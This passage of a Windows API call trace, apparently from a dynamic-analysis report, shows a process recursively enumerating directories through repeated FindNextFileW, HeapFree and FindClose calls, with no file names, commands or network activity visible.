dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.406] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.407] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.407] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.407] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.407] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.407] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.407] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.407] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.407] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.407] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.407] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.407] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.407] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.408] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.408] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.408] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.408] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.408] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.408] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.408] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.408] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.408] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0042.409] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.409] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.409] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.409] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.409] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.409] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.409] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.409] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.409] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.409] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.409] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.409] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.410] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.410] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.410] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.410] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.410] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.410] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.410] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.410] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.410] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.410] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.410] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6e9728, Size=0x4000) returned 0x6f10e0 [0042.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.411] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.411] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0 [0042.411] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0042.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0042.411] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0042.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0042.411] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0042.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0042.411] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0043.371] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6f10e0, Size=0x8000) returned 0x3d01278 [0043.375] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0043.376] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0043.380] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0043.380] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0043.381] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0043.381] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0043.708] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0043.708] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0043.708] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.708] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.708] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.708] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.709] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.709] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.709] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.709] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.709] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.709] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.709] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.709] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.709] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.709] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.711] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.711] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.711] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.711] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.711] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.711] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.711] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.712] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.712] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.712] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.712] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.712] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.712] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.712] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.712] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.769] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.769] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.770] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.771] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.772] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.772] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.772] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0043.774] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0043.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.774] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.775] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.775] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.775] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.775] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.776] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.777] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.777] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.778] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.778] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.778] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.779] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.782] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.782] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.782] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.782] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.782] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.782] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.782] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.782] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.784] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.784] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.784] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.784] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.786] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.786] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.786] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.786] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.786] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.786] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.786] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.788] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.788] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.788] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0043.788] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0043.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0043.790] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0043.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0043.791] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0043.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0043.793] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0043.866] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0043.866] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0043.866] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0043.866] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0043.867] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0043.868] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0043.868] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0043.869] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0043.869] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.212] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0044.212] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.213] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0044.213] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0044.213] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0044.213] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0044.213] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.265] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0044.265] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0044.265] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0044.285] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0044.285] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.393] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0044.393] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.393] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0044.393] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.898] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0044.898] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0044.898] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0044.898] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0044.899] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0044.901] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0044.901] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0044.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0044.901] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0044.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0044.901] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0044.913] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0044.913] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0044.914] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.914] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0044.914] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0044.914] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0045.016] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.016] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.016] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0045.016] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0045.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.020] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0045.020] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0045.021] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0045.021] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0045.021] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0045.022] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0045.022] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0045.022] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0045.022] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0045.023] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0045.023] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0045.023] HeapFree 